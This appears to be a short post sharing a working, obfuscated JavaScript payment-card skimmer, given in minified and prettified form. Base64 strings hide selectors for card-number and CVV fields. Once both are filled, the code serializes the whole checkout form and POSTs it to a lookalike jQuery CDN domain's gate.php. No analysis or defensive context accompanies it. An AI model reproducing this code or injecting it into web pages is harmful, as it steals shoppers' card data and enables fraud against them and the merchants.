a nice, short skimmer

base64-is-easy.js

var a=['cmVwbGFjZQ==','bGVuZ3Ro','aW5wdXRbbmFtZT0icGF5bWVudFtjY19jaWRdIl0=','dmFs','YWpheA==','aHR0cHM6Ly9qcXVlcnktY2RubGliLmNvbS9nYXRlLnBocD90b2tlbj1nejVLTDhGSA==','c2VyaWFsaXpl','UE9TVA==','I2NoZWNrb3V0X2Zvcm0=','Y2hhbmdl','aW5wdXRbbmFtZT0icGF5bWVudFtjY19udW1iZXJdIl0='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1cb));var b=function(c,d){c=c-0x0;var e=a[c];if(b['uVIoDo']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['YDFTzf']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['pacXsW']={};b['uVIoDo']=!![];}var w=b['pacXsW'][c];if(w===undefined){e=b['YDFTzf'](e);b['pacXsW'][c]=e;}else{e=w;}return e;};jQuery(document)['ready'](function(){jQuery(b('0x0'))[b('0x1')](function(){if(jQuery(b('0x2'))['val']()[b('0x3')](/[^0-9]/g,'')[b('0x4')]>0xe&&jQuery(b('0x5'))[b('0x6')]()[b('0x3')](/[^0-9]/g,'')['length']>0x2){jQuery[b('0x7')]({'url':b('0x8'),'data':jQuery('#checkout_form')[b('0x9')](),'type':b('0xa')});}});});

A prettified version of the above

var a = [
  "cmVwbGFjZQ==",
  "bGVuZ3Ro",
  "aW5wdXRbbmFtZT0icGF5bWVudFtjY19jaWRdIl0=",
  "dmFs",
  "YWpheA==",
  "aHR0cHM6Ly9qcXVlcnktY2RubGliLmNvbS9nYXRlLnBocD90b2tlbj1nejVLTDhGSA==",
  "c2VyaWFsaXpl",
  "UE9TVA==",
  "I2NoZWNrb3V0X2Zvcm0=",
  "Y2hhbmdl",
  "aW5wdXRbbmFtZT0icGF5bWVudFtjY19udW1iZXJdIl0="
];
(function(c, d) {
  var e = function(f) {
    while (--f) {
      c["push"](c["shift"]());
    }
  };
  e(++d);
})(a, 0x1cb);
var b = function(c, d) {
  c = c - 0x0;
  var e = a[c];
  if (b["uVIoDo"] === undefined) {
    (function() {
      var f = function() {
        var g;
        try {
          g = Function(
            "return\x20(function()\x20" +
              "{}.constructor(\x22return\x20this\x22)(\x20)" +
              ");"
          )();
        } catch (h) {
          g = window;
        }
        return g;
      };
      var i = f();
      var j =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
      i["atob"] ||
        (i["atob"] = function(k) {
          var l = String(k)["replace"](/=+$/, "");
          for (
            var m = 0x0, n, o, p = 0x0, q = "";
            (o = l["charAt"](p++));
            ~o && ((n = m % 0x4 ? n * 0x40 + o : o), m++ % 0x4)
              ? (q += String["fromCharCode"](0xff & (n >> ((-0x2 * m) & 0x6))))
              : 0x0
          ) {
            o = j["indexOf"](o);
          }
          return q;
        });
    })();
    b["YDFTzf"] = function(r) {
      var s = atob(r);
      var t = [];
      for (var u = 0x0, v = s["length"]; u < v; u++) {
        t += "%" + ("00" + s["charCodeAt"](u)["toString"](0x10))["slice"](-0x2);
      }
      return decodeURIComponent(t);
    };
    b["pacXsW"] = {};
    b["uVIoDo"] = !![];
  }
  var w = b["pacXsW"][c];
  if (w === undefined) {
    e = b["YDFTzf"](e);
    b["pacXsW"][c] = e;
  } else {
    e = w;
  }
  return e;
};
jQuery(document)["ready"](function() {
  jQuery(b("0x0"))[b("0x1")](function() {
    if (
      jQuery(b("0x2"))
        ["val"]()
        [b("0x3")](/[^0-9]/g, "")[b("0x4")] > 0xe &&
      jQuery(b("0x5"))
        [b("0x6")]()
        [b("0x3")](/[^0-9]/g, "")["length"] > 0x2
    ) {
      jQuery[b("0x7")]({
        url: b("0x8"),
        data: jQuery("#checkout_form")[b("0x9")](),
        type: b("0xa")
      });
    }
  });
});